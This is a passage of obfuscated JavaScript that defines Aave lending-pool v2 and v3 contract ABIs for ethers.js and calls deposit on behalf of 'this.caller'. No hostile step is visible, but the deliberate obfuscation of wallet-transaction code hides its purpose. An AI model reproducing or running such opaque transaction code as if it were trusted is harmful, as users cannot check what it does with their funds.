type: "uint256"
};
const _0x2cacb5 = {
internalType: "uint256",
name: "balanceFromBefore",
type: "uint256"
};
const _0x20a8c6 = {
internalType: "uint256",
name: "balanceToBefore",
type: "uint256"
};
const _0x12fa25 = {
inputs: [_0x54af82, _0x540d63, _0xffbc12, _0x4d3a0f, _0x2cacb5, _0x20a8c6],
name: "finalizeTransfer",
outputs: [],
stateMutability: "nonpayable",
type: 'function'
};
const _0x2d2b61 = {
internalType: 'address',
name: "receiverAddress",
type: 'address'
};
const _0x4cc348 = {
internalType: "address[]",
name: 'assets',
type: "address[]"
};
const _0x277c2e = {
internalType: "uint256[]",
name: "amounts",
type: "uint256[]"
};
const _0x44bf12 = {
internalType: "uint256[]",
name: "modes",
type: "uint256[]"
};
const _0x56df3d = {
internalType: 'address',
name: 'onBehalfOf',
type: "address"
};
const _0x45e88f = {
internalType: 'bytes',
name: "params",
type: 'bytes'
};
const _0x4c41ae = {
internalType: "uint16",
name: "referralCode",
type: "uint16"
};
const _0x1a6bd5 = {
inputs: [_0x2d2b61, _0x4cc348, _0x277c2e, _0x44bf12, _0x56df3d, _0x45e88f, _0x4c41ae],
name: "flashLoan",
outputs: [],
stateMutability: "nonpayable",
type: 'function'
};
const _0x41a5d3 = {
inputs: [],
name: "getAddressesProvider",
outputs: [{
'internalType': "contract ILendingPoolAddressesProvider",
'name': '',
'type': 'address'
}],
stateMutability: 'view',
type: 'function'
};
const _0x50dd92 = {
internalType: 'address',
name: "asset",
type: 'address'
};
const _0x2f7975 = {
inputs: [_0x50dd92],
name: "getConfiguration",
outputs: [{
'components': [{
'internalType': "uint256",
'name': 'data',
'type': 'uint256'
}],
'internalType': "struct DataTypes.ReserveConfigurationMap",
'name': '',
'type': "tuple"
}],
stateMutability: 'view',
type: 'function'
};
const _0x10c058 = {
internalType: 'address',
name: "asset",
type: 'address'
};
const _0xd21ee0 = {
inputs: [_0x10c058],
name: "getReserveData",
outputs: [{
'components': [{
'components': [{
'internalType': "uint256",
'name': 'data',
'type': "uint256"
}],
'internalType': "struct DataTypes.ReserveConfigurationMap",
'name': "configuration",
'type': "tuple"
}, {
'internalType': "uint128",
'name': "liquidityIndex",
'type': "uint128"
}, {
'internalType': "uint128",
'name': "variableBorrowIndex",
'type': 'uint128'
}, {
'internalType': "uint128",
'name': "currentLiquidityRate",
'type': "uint128"
}, {
'internalType': 'uint128',
'name': "currentVariableBorrowRate",
'type': "uint128"
}, {
'internalType': "uint128",
'name': "currentStableBorrowRate",
'type': "uint128"
}, {
'internalType': "uint40",
'name': "lastUpdateTimestamp",
'type': "uint40"
}, {
'internalType': 'address',
'name': "aTokenAddress",
'type': "address"
}, {
'internalType': 'address',
'name': "stableDebtTokenAddress",
'type': 'address'
}, {
'internalType': 'address',
'name': "variableDebtTokenAddress",
'type': 'address'
}, {
'internalType': 'address',
'name': "interestRateStrategyAddress",
'type': 'address'
}, {
'internalType': "uint8",
'name': 'id',
'type': "uint8"
}],
'internalType': "struct DataTypes.ReserveData",
'name': '',
'type': "tuple"
}],
stateMutability: 'view',
type: 'function'
};
const _0x1074af = {
internalType: 'address',
name: "asset",
type: 'address'
};
const _0xc1e1a2 = {
inputs: [_0x1074af],
name: "getReserveNormalizedIncome",
outputs: [{
'internalType': "uint256",
'name': '',
'type': "uint256"
}],
stateMutability: "view",
type: 'function'
};
const _0xcc96b7 = {
internalType: 'address',
name: "asset",
type: 'address'
};
const _0x11f3a7 = {
inputs: [_0xcc96b7],
name: "getReserveNormalizedVariableDebt",
outputs: [{
'internalType': "uint256",
'name': '',
'type': "uint256"
}],
stateMutability: 'view',
type: 'function'
};
const _0x72de61 = {
internalType: "address[]",
name: '',
type: "address[]"
};
const _0x49b360 = {
inputs: [],
name: "getReservesList",
outputs: [_0x72de61],
stateMutability: "view",
type: 'function'
};
const _0x1c716c = {
internalType: 'address',
name: "user",
type: 'address'
};
const _0x59c844 = {
internalType: "uint256",
name: "totalCollateralETH",
type: "uint256"
};
const _0xa50ff8 = {
internalType: "uint256",
name: "totalDebtETH",
type: "uint256"
};
const _0x5647b3 = {
internalType: "uint256",
name: "availableBorrowsETH",
type: "uint256"
};
const _0x29b0ee = {
internalType: "uint256",
name: "currentLiquidationThreshold",
type: "uint256"
};
const _0xd19ae7 = {
internalType: "uint256",
name: "ltv",
type: "uint256"
};
const _0x3ede16 = {
internalType: "uint256",
name: "healthFactor",
type: 'uint256'
};
const _0xaf12f6 = {
inputs: [_0x1c716c],
name: "getUserAccountData",
outputs: [_0x59c844, _0xa50ff8, _0x5647b3, _0x29b0ee, _0xd19ae7, _0x3ede16],
stateMutability: 'view',
type: "function"
};
const _0x484819 = {
internalType: 'address',
name: "user",
type: 'address'
};
const _0x8d0b31 = {
inputs: [_0x484819],
name: "getUserConfiguration",
outputs: [{
'components': [{
'internalType': "uint256",
'name': "data",
'type': 'uint256'
}],
'internalType': "struct DataTypes.UserConfigurationMap",
'name': '',
'type': "tuple"
}],
stateMutability: 'view',
type: 'function'
};
const _0x1113b0 = {
internalType: 'address',
name: "asset",
type: 'address'
};
const _0x1e4372 = {
internalType: 'address',
name: "aTokenAddress",
type: 'address'
};
const _0x4b0446 = {
internalType: "address",
name: "stableDebtAddress",
type: 'address'
};
const _0x4ef924 = {
internalType: "address",
name: "variableDebtAddress",
type: 'address'
};
const _0x30a16d = {
internalType: 'address',
name: "interestRateStrategyAddress",
type: 'address'
};
const _0x4bc5d1 = {
inputs: [_0x1113b0, _0x1e4372, _0x4b0446, _0x4ef924, _0x30a16d],
name: "initReserve",
outputs: [],
stateMutability: "nonpayable",
type: 'function'
};
const _0x27ae21 = {
internalType: "contract ILendingPoolAddressesProvider",
name: "provider",
type: 'address'
};
const _0x366742 = {
inputs: [_0x27ae21],
name: "initialize",
outputs: [],
stateMutability: "nonpayable",
type: 'function'
};
const _0x46e277 = {
internalType: 'address',
name: "collateralAsset",
type: 'address'
};
const _0x567b61 = {
internalType: 'address',
name: "debtAsset",
type: 'address'
};
const _0x3bc3a5 = {
internalType: 'address',
name: "user",
type: 'address'
};
const _0x26993b = {
internalType: "uint256",
name: "debtToCover",
type: 'uint256'
};
const _0x504436 = {
internalType: "bool",
name: "receiveAToken",
type: 'bool'
};
const _0x4835bb = {
inputs: [_0x46e277, _0x567b61, _0x3bc3a5, _0x26993b, _0x504436],
name: "liquidationCall",
outputs: [],
stateMutability: "nonpayable",
type: 'function'
};
const _0x155181 = {
inputs: [],
name: "paused",
outputs: [{
'internalType': 'bool',
'name': '',
'type': 'bool'
}],
stateMutability: 'view',
type: 'function'
};
const _0x2aead0 = {
internalType: 'address',
name: "asset",
type: "address"
};
const _0x1d5650 = {
internalType: 'address',
name: "user",
type: 'address'
};
const _0x445fc0 = {
inputs: [_0x2aead0, _0x1d5650],
name: "rebalanceStableBorrowRate",
outputs: [],
stateMutability: 'nonpayable',
type: 'function'
};
const _0x34c55f = {
internalType: 'address',
name: "asset",
type: 'address'
};
const _0x53549d = {
internalType: "uint256",
name: "amount",
type: "uint256"
};
const _0x450b01 = {
internalType: "uint256",
name: "rateMode",
type: 'uint256'
};
const _0x5c8156 = {
internalType: 'address',
name: 'onBehalfOf',
type: 'address'
};
const _0x584eb5 = {
internalType: 'uint256',
name: '',
type: "uint256"
};
const _0x5a828d = {
inputs: [_0x34c55f, _0x53549d, _0x450b01, _0x5c8156],
name: "repay",
outputs: [_0x584eb5],
stateMutability: "nonpayable",
type: 'function'
};
const _0x1b9736 = {
internalType: 'address',
name: "asset",
type: 'address'
};
const _0x4f2046 = {
internalType: "uint256",
name: "configuration",
type: "uint256"
};
const _0x2ebc1a = {
inputs: [_0x1b9736, _0x4f2046],
name: "setConfiguration",
outputs: [],
stateMutability: "nonpayable",
type: 'function'
};
const _0x5b7bf5 = {
internalType: 'bool',
name: "val",
type: 'bool'
};
const _0x198fca = {
inputs: [_0x5b7bf5],
name: "setPause",
outputs: [],
stateMutability: "nonpayable",
type: 'function'
};
const _0x547256 = {
internalType: 'address',
name: "asset",
type: 'address'
};
const _0x5c85e2 = {
internalType: 'address',
name: "rateStrategyAddress",
type: 'address'
};
const _0x43bf5b = {
inputs: [_0x547256, _0x5c85e2],
name: "setReserveInterestRateStrategyAddress",
outputs: [],
stateMutability: "nonpayable",
type: 'function'
};
const _0x5c8419 = {
internalType: 'address',
name: "asset",
type: "address"
};
const _0xba2159 = {
internalType: 'bool',
name: "useAsCollateral",
type: 'bool'
};
const _0x23313a = {
inputs: [_0x5c8419, _0xba2159],
name: "setUserUseReserveAsCollateral",
outputs: [],
stateMutability: 'nonpayable',
type: "function"
};
const _0x3b7912 = {
internalType: 'address',
name: "asset",
type: 'address'
};
const _0x44ff01 = {
internalType: "uint256",
name: "rateMode",
type: "uint256"
};
const _0x2e707a = {
inputs: [_0x3b7912, _0x44ff01],
name: "swapBorrowRateMode",
outputs: [],
stateMutability: "nonpayable",
type: 'function'
};
const _0x2a7a09 = {
internalType: 'address',
name: "asset",
type: 'address'
};
const _0x492f62 = {
internalType: "uint256",
name: "amount",
type: "uint256"
};
const _0x439fb5 = {
internalType: 'address',
name: 'to',
type: 'address'
};
const _0x1cecc4 = {
inputs: [_0x2a7a09, _0x492f62, _0x439fb5],
name: "withdraw",
outputs: [{
'internalType': "uint256",
'name': '',
'type': "uint256"
}],
stateMutability: "nonpayable",
type: "function"
};
let _0x15b8b0 = [_0x1fe8fe, _0x55a8ee, _0x1d3384, _0x1e8907, _0x4fa857, _0x2a5bbd, _0x1ff639, _0x4c2548, _0x584530, _0x5a4d92, _0x4ecd4c, _0x32dd8a, _0x1e41a5, _0x344653, _0x4ce59d, _0x11e3d0, _0x184751, _0x4f6b21, _0x28e6db, _0x12fa25, _0x1a6bd5, _0x41a5d3, _0x2f7975, _0xd21ee0, _0xc1e1a2, _0x11f3a7, _0x49b360, _0xaf12f6, _0x8d0b31, _0x4bc5d1, _0x366742, _0x4835bb, _0x155181, _0x445fc0, _0x5a828d, _0x2ebc1a, _0x198fca, _0x43bf5b, _0x23313a, _0x2e707a, _0x1cecc4];
let _0x1e2407 = new ethers.Contract(_0x1d9d78, _0x15b8b0, _0x30ef12);
return _0x1e2407.deposit(_0x579e7a.asset.token, _0x579e7a.asset.amount, this.caller, 0);
}
case 'AaveLP3':
{
const _0x26673a = {
internalType: "contract IPoolAddressesProvider",
name: "provider",
type: 'address'
};
const _0x2dc93a = {
inputs: [_0x26673a],
stateMutability: "nonpayable",
type: "constructor"
};
const _0x14d39a = {
indexed: true,
internalType: 'address',
name: 'reserve',
type: "address"
};
const _0x124f56 = {
indexed: true,
internalType: "address",
name: 'backer',
type: 'address'
};
const _0x536a20 = {
indexed: false,
internalType: "uint256",
name: "amount",
type: "uint256"
};
const _0x4adfe0 = {
indexed: false,
internalType: "uint256",
name: "fee",
type: "uint256"
};
const _0x348d90 = {
anonymous: false,
inputs: [_0x14d39a, _0x124f56, _0x536a20, _0x4adfe0],
name: "BackUnbacked",
type: "event"
};
const _0x3a8ebe = {
indexed: true,
internalType: 'address',
name: "reserve",
type: 'address'
};
const _0x4f36f7 = {
indexed: false,
internalType: 'address',
name: "user",
type: 'address'
};
const _0x203d21 = {
indexed: true,
internalType: 'address',
name: 'onBehalfOf',
type: 'address'
};
const _0x2479dd = {
indexed: false,
internalType: "uint256",
name: "amount",
type: "uint256"
};
const _0x1cb191 = {
indexed: false,
internalType: "enum DataTypes.InterestRateMode",
name: "interestRateMode",
type: "uint8"
};
const _0x4500ef = {
indexed: false,
internalType: "uint256",
name: "borrowRate",
type: "uint256"
};
const _0x45787d = {
indexed: true,
internalType: "uint16",
name: "referralCode",
type: "uint16"
};
const _0x23d345 = {
anonymous: false,
inputs: [_0x3a8ebe, _0x4f36f7, _0x203d21, _0x2479dd, _0x1cb191, _0x4500ef, _0x45787d],
name: "Borrow",
type: "event"
};
const _0x1dff4a = {
indexed: true,
internalType: "address",
name: "target",
type: 'address'
};
const _0x2a4508 = {
indexed: false,
internalType: 'address',
name: "initiator",
type: 'address'
};
const _0x3a9c5b = {
indexed: true,
internalType: 'address',
name: "asset",
type: 'address'
};
const _0x3c2f7d = {
indexed: false,
internalType: "uint256",
name: "amount",
type: "uint256"
};
const _0x2c32b9 = {
indexed: false,
internalType: "enum DataTypes.InterestRateMode",
name: "interestRateMode",
type: "uint8"
};
const _0x82a6e4 = {
indexed: false,
internalType: 'uint256',
name: "premium",
type: "uint256"
};
const _0x1422b7 = {
indexed: true,
internalType: "uint16",
name: "referralCode",
type: 'uint16'
};
const _0x2274be = {
anonymous: false,
inputs: [_0x1dff4a, _0x2a4508, _0x3a9c5b, _0x3c2f7d, _0x2c32b9, _0x82a6e4, _0x1422b7],
name: 'FlashLoan',
type: "event"
};
const _0x38a51f = {
indexed: true,
internalType: 'address',
name: "asset",
type: 'address'
};
const _0x276817 = {
indexed: false,
internalType: "uint256",
name: "totalDebt",
type: "uint256"
};
const _0x4f61d0 = {
anonymous: false,
inputs: [_0x38a51f, _0x276817],
name: "IsolationModeTotalDebtUpdated",
type: 'event'
};
const _0x6bfeb6 = {
indexed: true,
internalType: 'address',
name: "collateralAsset",
type: 'address'
};
const _0x273123 = {
indexed: true,
internalType: 'address',
name: 'debtAsset',
type: "address"
};
const _0x4e988e = {
indexed: true,
internalType: 'address',
name: "user",
type: "address"
};
const _0x1ac364 = {
indexed: false,
internalType: "uint256",
name: "debtToCover",
type: "uint256"
};
const _0x171fd2 = {
indexed: false,
internalType: "uint256",
name: "liquidatedCollateralAmount",
type: "uint256"
};
const _0x51bcbe = {
indexed: false,
internalType: 'address',
name: "liquidator",
type: 'address'
};
const _0x2acfa8 = {
indexed: false,
internalType: 'bool',
name: "receiveAToken",
type: 'bool'
};
const _0x173135 = {
anonymous: false,
inputs: [_0x6bfeb6, _0x273123, _0x4e988e, _0x1ac364, _0x171fd2, _0x51bcbe, _0x2acfa8],
name: "LiquidationCall",
type: "event"
};
const _0x3dc5df = {
indexed: true,
internalType: 'address',
name: "reserve",
type: 'address'
};
const _0x24b707 = {
indexed: false,
internalType: 'address',
name: "user",
type: 'address'
};
const _0x201b34 = {
indexed: true,
internalType: "address",
name: "onBehalfOf",
type: 'address'
};
const _0x51817c = {
indexed: false,
internalType: "uint256",
name: "amount",
type: "uint256"
};
const _0x34e320 = {
indexed: true,
internalType: "uint16",
name: "referralCode",
type: "uint16"
};
const _0xb5db4c = {
anonymous: false,
inputs: [_0x3dc5df, _0x24b707, _0x201b34, _0x51817c, _0x34e320],
name: "MintUnbacked",
type: "event"
};
const _0x31284d = {
indexed: true,
internalType: 'address',
name: "reserve",
type: 'address'
};
const _0x51f6e6 = {
indexed: false,
internalType: "uint256",
name: "amountMinted",
type: "uint256"
};
const _0x4e8e0b = {
anonymous: false,
inputs: [_0x31284d, _0x51f6e6],
name: "MintedToTreasury",
type: "event"
};
const _0x4abb5c = {
indexed: true,
internalType: 'address',
name: "reserve",
type: 'address'
};
const _0x5cb0d1 = {
indexed: true,
internalType: 'address',
name: "user",
type: 'address'
};
const _0x47ad29 = {
anonymous: false,
inputs: [_0x4abb5c, _0x5cb0d1],
name: "RebalanceStableBorrowRate",
type: "event"
};
const _0x83c050 = {
indexed: true,
internalType: 'address',
name: "reserve",
type: 'address'
};
const _0x4e768a = {
indexed: true,
internalType: "address",
name: "user",
type: 'address'
};
const _0x172e84 = {
indexed: true,
internalType: 'address',
name: "repayer",
type: 'address'
};
const _0x293144 = {
indexed: false,
internalType: "uint256",
name: "amount",
type: "uint256"
};
const _0x548a0f = {
indexed: false,
internalType: 'bool',
name: 'useATokens',
type: 'bool'
};
const _0x57e237 = {
anonymous: false,
inputs: [_0x83c050, _0x4e768a, _0x172e84, _0x293144, _0x548a0f],
name: 'Repay',
type: "event"
};
const _0x21ff6b = {
indexed: true,
internalType: "address",
name: "reserve",
type: "address"
};
const _0x680bbb = {
indexed: false,
internalType: "uint256",
name: "liquidityRate",
type: "uint256"
};
const _0x562b9a = {
indexed: false,
internalType: "uint256",
name: "stableBorrowRate",
type: "uint256"
};
const _0x2a755b = {
indexed: false,
internalType: "uint256",
name: "variableBorrowRate",
type: "uint256"
};
const _0x8ba1cc = {
indexed: false,
internalType: "uint256",
name: "liquidityIndex",
type: "uint256"
};
const _0x553535 = {
indexed: false,
internalType: 'uint256',
name: "variableBorrowIndex",
type: "uint256"
};
const _0x4375e4 = {
anonymous: false,
inputs: [_0x21ff6b, _0x680bbb, _0x562b9a, _0x2a755b, _0x8ba1cc, _0x553535],
name: "ReserveDataUpdated",
type: "event"
};
const _0x427d79 = {
indexed: true,
internalType: 'address',
name: "reserve",
type: 'address'
};
const _0x100b1e = {
indexed: true,
internalType: 'address',
name: "user",
type: 'address'
};
const _0x12526a = {
anonymous: false,
inputs: [_0x427d79, _0x100b1e],
name: "ReserveUsedAsCollateralDisabled",
type: "event"
};
const _0x33b066 = {
indexed: true,
internalType: 'address',
name: "reserve",
type: 'address'
};
const _0x2da131 = {
indexed: true,
internalType: 'address',
name: "user",
type: 'address'
};
const _0x1085bd = {
anonymous: false,
inputs: [_0x33b066, _0x2da131],
name: "ReserveUsedAsCollateralEnabled",
type: "event"
};
const _0x1bfedc = {
indexed: true,
internalType: 'address',
name: "reserve",
type: 'address'
};
const _0x12aea9 = {
indexed: false,
internalType: 'address',
name: "user",
type: 'address'
};
const _0x5ac04a = {
indexed: true,
internalType: 'address',
name: "onBehalfOf",
type: 'address'
};
const _0x1de908 = {
indexed: false,
internalType: "uint256",
name: "amount",
type: 'uint256'
};
const _0x1d55ba = {
indexed: true,
internalType: "uint16",
name: "referralCode",
type: "uint16"
};
const _0x3a3829 = {
anonymous: false,
inputs: [_0x1bfedc, _0x12aea9, _0x5ac04a, _0x1de908, _0x1d55ba],
name: 'Supply',
type: "event"
};
const _0x393ae6 = {
indexed: true,
internalType: "address",
name: "reserve",
type: 'address'
};
const _0x306e99 = {
indexed: true,
internalType: 'address',
name: "user",
type: 'address'
};
const _0x3d93cc = {
indexed: false,
internalType: "enum DataTypes.InterestRateMode",
name: "interestRateMode",
type: "uint8"
};
const _0xf2c3f4 = {
anonymous: false,
inputs: [_0x393ae6, _0x306e99, _0x3d93cc],
name: "SwapBorrowRateMode",
type: "event"
};
const _0x5f14c7 = {
indexed: true,
internalType: 'address',
name: "user",
type: 'address'
};
const _0x5eab67 = {
indexed: false,
internalType: "uint8",
name: "categoryId",
type: "uint8"
};
const _0xae702 = {
anonymous: false,
inputs: [_0x5f14c7, _0x5eab67],
name: "UserEModeSet",
type: "event"
};
const _0x40ee77 = {
indexed: true,
internalType: 'address',
name: "reserve",
type: 'address'
};
const _0x46eaa4 = {
indexed: true,
internalType: 'address',
name: "user",
type: 'address'
};
const _0x2cdabe = {
indexed: true,
internalType: 'address',
name: 'to',
type: 'address'
};
const _0x233b20 = {
indexed: false,
internalType: "uint256",
name: "amount",
type: "uint256"
};
const _0x49aedb = {
anonymous: false,
inputs: [_0x40ee77, _0x46eaa4, _0x2cdabe, _0x233b20],
name: "Withdraw",
type: "event"
};
const _0x4008b6 = {
inputs: [],
name: "ADDRESSES_PROVIDER",
outputs: [{
'internalType': "contract IPoolAddressesProvider",
'name': '',
'type': 'address'
}],
stateMutability: "view",
type: 'function'
};
const _0x15d4d8 = {
inputs: [],
name: "BRIDGE_PROTOCOL_FEE",
outputs: [{
'internalType': 'uint256',
'name': '',
'type': "uint256"
}],
stateMutability: 'view',
type: 'function'
};
const _0x35b27d = {
internalType: "uint128",
name: '',
type: "uint128"
};
const _0x471cce = {
inputs: [],
name: "FLASHLOAN_PREMIUM_TOTAL",
outputs: [_0x35b27d],
stateMutability: 'view',
type: 'function'
};
const _0x212c14 = {
inputs: [],
name: "FLASHLOAN_PREMIUM_TO_PROTOCOL",
outputs: [{
'internalType': "uint128",
'name': '',
'type': "uint128"
}],
stateMutability: 'view',
type: 'function'
};
const _0x6d82fd = {
inputs: [],
name: "MAX_NUMBER_RESERVES",
outputs: [{
'internalType': "uint16",
'name': '',
'type': "uint16"
}],
stateMutability: 'view',
type: 'function'
};
const _0x4d6a33 = {
inputs: [],
name: "MAX_STABLE_RATE_BORROW_SIZE_PERCENT",
outputs: [{
'internalType': "uint256",
'name': '',
'type': "uint256"
}],
stateMutability: 'view',
type: 'function'
};
const _0x14ffd6 = {
internalType: "uint256",
name: '',
type: "uint256"
};
const _0x3c7c9b = {
inputs: [],
name: "POOL_REVISION",
outputs: [_0x14ffd6],
stateMutability: "view",
type: 'function'
};
const _0xb0b263 = {
internalType: 'address',
name: "asset",
type: 'address'
};
const _0x537f88 = {
internalType: "uint256",
name: 'amount',
type: "uint256"
};
const _0x11b59b = {
internalType: "uint256",
name: "fee",
type: "uint256"
};
const _0x31e424 = {
inputs: [_0xb0b263, _0x537f88, _0x11b59b],
name: "backUnbacked",
outputs: [{
'internalType': "uint256",
'name': '',
'type': "uint256"
}],
stateMutability: "nonpayable",
type: "function"
};
const _0x5df649 = {
internalType: 'address',
name: "asset",
type: 'address'
};
const _0x79716c = {
internalType: "uint256",
name: 'amount',
type: "uint256"
};
const _0xe44f7b = {
internalType: "uint256",
name: "interestRateMode",
type: "uint256"
};
const _0x16c654 = {
internalType: "uint16",
name: "referralCode",
type: 'uint16'
};
const _0x592127 = {
internalType: 'address',
name: 'onBehalfOf',
type: 'address'
};
const _0x5f1fd3 = {
inputs: [_0x5df649, _0x79716c, _0xe44f7b, _0x16c654, _0x592127],
name: 'borrow',
outputs: [],
stateMutability: "nonpayable",
type: 'function'
};
const _0x2b2169 = {
internalType: "uint8",
name: 'id',
type: "uint8"
};
const _0x4cdb1b = {
internalType: "uint16",
name: "ltv",
type: "uint16"
};
const _0x50337a = {
internalType: "uint16",
name: "liquidationThreshold",
type: "uint16"
};
const _0x56a5ff = {
internalType: 'uint16',
name: "liquidationBonus",
type: 'uint16'
};
const _0x103d0e = {
internalType: 'address',
name: "priceSource",
type: 'address'
};
const _0x27bb78 = {
internalType: "string",
name: "label",
type: "string"
};
const _0x2a7b18 = {
components: [_0x4cdb1b, _0x50337a, _0x56a5ff, _0x103d0e, _0x27bb78],
internalType: "struct DataTypes.EModeCategory",
name: "category",
type: "tuple"
};
const _0x136476 = {
inputs: [_0x2b2169, _0x2a7b18],
name: "configureEModeCategory",
outputs: [],
stateMutability: "nonpayable",
type: 'function'
};
const _0x4312ed = {
internalType: 'address',
name: "asset",
type: 'address'
};
const _0x24b911 = {
internalType: "uint256",
name: "amount",
type: "uint256"
};
const _0x2f1675 = {
internalType: 'address',
name: "onBehalfOf",
type: 'address'
};
const _0x4bb419 = {
internalType: "uint16",
name: "referralCode",
type: "uint16"
};
const _0x4bd76c = {
inputs: [_0x4312ed, _0x24b911, _0x2f1675, _0x4bb419],
name: "deposit",
outputs: [],
stateMutability: "nonpayable",
type: 'function'
};
const _0x4c5e9e = {
internalType: 'address',
name: "asset",
type: 'address'
};
const _0xe0b1a5 = {
inputs: [_0x4c5e9e],
name: "dropReserve",
outputs: [],
stateMutability: "nonpayable",
type: 'function'
};
const _0x181cc7 = {
internalType: 'address',
name: "asset",
type: 'address'
};
const _0x5adea7 = {
internalType: 'address',
name: "from",
type: 'address'
};
const _0x46ca75 = {
internalType: 'address',
name: 'to',
type: 'address'
};
const _0x35a5f8 = {
internalType: "uint256",
name: "amount",
type: "uint256"
};
const _0x1de74c = {
internalType: "uint256",
name: "balanceFromBefore",
type: "uint256"
};
const _0x26a65f = {
internalType: "uint256",
name: "balanceToBefore",
type: "uint256"
};
const _0x57afaf = {
inputs: [_0x181cc7, _0x5adea7, _0x46ca75, _0x35a5f8, _0x1de74c, _0x26a65f],
name: "finalizeTransfer",
outputs: [],
stateMutability: 'nonpayable',
type: 'function'
};
const _0xa3bbc = {
internalType: 'address',
name: "receiverAddress",
type: 'address'
};
const _0x4dca3d = {
internalType: "address[]",
name: 'assets',
type: "address[]"
};
const _0x5411df = {
internalType: "uint256[]",
name: "amounts",
type: "uint256[]"
};
const _0x291cb0 = {
internalType: "uint256[]",
name: "interestRateModes",
type: "uint256[]"
};
const _0x348a72 = {
internalType: 'address',
name: 'onBehalfOf',
type: "address"
};
const _0xf518fc = {
internalType: 'bytes',
name: "params",
type: 'bytes'
};
const _0x16265c = {
internalType: "uint16",
name: "referralCode",
type: "uint16"
};
const _0x33f151 = {
inputs: [_0xa3bbc, _0x4dca3d, _0x5411df, _0x291cb0, _0x348a72, _0xf518fc, _0x16265c],
name: "flashLoan",
outputs: [],
stateMutability: "nonpayable",
type: 'function'
};
const _0xf60115 = {
internalType: "address",
name: "receiverAddress",
type: 'address'
};
const _0x3ac000 = {
internalType: 'address',
name: "asset",
type: 'address'
};
const _0x3ea2d9 = {
internalType: "uint256",
name: "amount",
type: "uint256"
};
const _0x4e17f7 = {
internalType: 'bytes',
name: "params",
type: 'bytes'
};
const _0x3225dc = {
internalType: "uint16",
name: "referralCode",
type: "uint16"
};
const _0x5badc5 = {
inputs: [_0xf60115, _0x3ac000, _0x3ea2d9, _0x4e17f7, _0x3225dc],
name: "flashLoanSimple",
outputs: [],
stateMutability: "nonpayable",
type: 'function'
};
const _0x5da64a = {
internalType: "address",
name: "asset",
type: "address"
};
const _0x11fabd = {
inputs: [_0x5da64a],
name: "getConfiguration",
outputs: [{
'components': [{
'internalType': "uint256",
'name': 'data',
'type': "uint256"
}],
'internalType': "struct DataTypes.ReserveConfigurationMap",
'name': '',
'type': "tuple"
}],
stateMutability: 'view',
type: 'function'
};
const _0x376e32 = {
internalType: "uint8",
name: 'id',
type: "uint8"
};
const _0x1b9a25 = {
inputs: [_0x376e32],
name: "getEModeCategoryData",
outputs: [{
'components': [{
'internalType': "uint16",
'name': "ltv",
'type': "uint16"
}, {
'internalType': "uint16",
'name': "liquidationThreshold",
'type': "uint16"
}, {
'internalType': "uint16",
'name': "liquidationBonus",
'type': "uint16"
}, {
'internalType': 'address',
'name': "priceSource",
'type': "address"
}, {
'internalType': "string",
'name': "label",
'type': 'string'
}],
'internalType': "struct DataTypes.EModeCategory",
'name': '',
'type': "tuple"
}],
stateMutability: 'view',
type: "function"
};
const _0x130d42 = {
internalType: "uint16",
name: 'id',
type: "uint16"
};
const _0x345b81 = {
inputs: [_0x130d42],
name: "getReserveAddressById",
outputs: [{
'internalType': 'address',
'name': '',
'type': 'address'
}],
stateMutability: 'view',
type: 'function'
};
const _0x3c9b05 = {
internalType: "address",
name: "asset",
type: 'address'
};
const _0x2c1707 = {
internalType: "uint128",
name: "variableBorrowIndex",
type: "uint128"
};
const _0x56b8e2 = {
inputs: [_0x3c9b05],
name: "getReserveData",
outputs: [{
'components': [{
'components': [{
'internalType': "uint256",
'name': 'data',
'type': "uint256"
}],
'internalType': "struct DataTypes.ReserveConfigurationMap",
'name': "configuration",
'type': "tuple"
}, {
'internalType': "uint128",
'name': "liquidityIndex",
'type': "uint128"
}, {
'internalType': "uint128",
'name': "currentLiquidityRate",
'type': 'uint128'
}, _0x2c1707, {
'internalType': "uint128",
'name': "currentVariableBorrowRate",
'type': "uint128"
}, {
'internalType': "uint128",
'name': "currentStableBorrowRate",
'type': "uint128"
}, {
'internalType': "uint40",
'name': "lastUpdateTimestamp",
'type': "uint40"
}, {
'internalType': "uint16",
'name': 'id',
'type': "uint16"
}, {
'internalType': 'address',
'name': "aTokenAddress",
'type': 'address'
}, {
'internalType': 'address',
'name': "stableDebtTokenAddress",
'type': 'address'
}, {
'internalType': 'address',
'name': "variableDebtTokenAddress",
'type': "address"
}, {
'internalType': 'address',
'name': "interestRateStrategyAddress",
'type': 'address'
}, {
'internalType': 'uint128',
'name': "accruedToTreasury",
'type': "uint128"
}, {
'internalType': "uint128",
'name': "unbacked",
'type': "uint128"
}, {
'internalType': "uint128",
'name': "isolationModeTotalDebt",
'type': "uint128"
}],
'internalType': "struct DataTypes.ReserveData",
'name': '',
'type': "tuple"
}],
stateMutability: 'view',
type: 'function'
};
const _0x26b33f = {
internalType: 'address',
name: "asset",
type: 'address'
};
const _0x174877 = {
inputs: [_0x26b33f],
name: "getReserveNormalizedIncome",
outputs: [{
'internalType': "uint256",
'name': '',
'type': "uint256"
}],
stateMutability: 'view',
type: 'function'
};
const _0x5200b8 = {
internalType: 'address',
name: "asset",
type: 'address'
};
const _0x3b5ed3 = {
inputs: [_0x5200b8],
name: "getReserveNormalizedVariableDebt",
outputs: [{
'internalType': "uint256",
'name': '',
'type': 'uint256'
}],
stateMutability: 'view',
type: 'function'
};
const _0x47c181 = {
internalType: "address[]",
name: '',
type: "address[]"
};
const _0xe1548b = {
inputs: [],
name: "getReservesList",
outputs: [_0x47c181],
stateMutability: 'view',
type: "function"
};
const _0x4456e1 = {
internalType: 'address',
name: 'user',
type: 'address'
};
const _0x4742d0 = {
inputs: [_0x4456e1],
name: "getUserAccountData",
outputs: [{
'internalType': 'uint256',
'name': "totalCollateralBase",
'type': "uint256"
}, {
'internalType': "uint256",
'name': "totalDebtBase",
'type': "uint256"
}, {
'internalType': "uint256",
'name': "availableBorrowsBase",
'type': "uint256"
}, {
'internalType': "uint256",
'name': "currentLiquidationThreshold",
'type': "uint256"
}, {
'internalType': "uint256",
'name': "ltv",
'type': "uint256"
}, {
'internalType': "uint256",
'name': "healthFactor",
'type': "uint256"
}],
stateMutability: 'view',
type: 'function'
};
const _0x41906d = {
internalType: 'address',
name: "user",
type: "address"
};
const _0x26452 = {
inputs: [_0x41906d],
name: "getUserConfiguration",
outputs: [{
'components': [{
'internalType': "uint256",
'name': "data",
'type': "uint256"
}],
'internalType': "struct DataTypes.UserConfigurationMap",
'name': '',
'type': "tuple"
}],
stateMutability: 'view',
type: 'function'
};
const _0x51ccbe = {
internalType: 'address',
name: "user",
type: 'address'
};
const _0x2d6e1e = {
inputs: [_0x51ccbe],
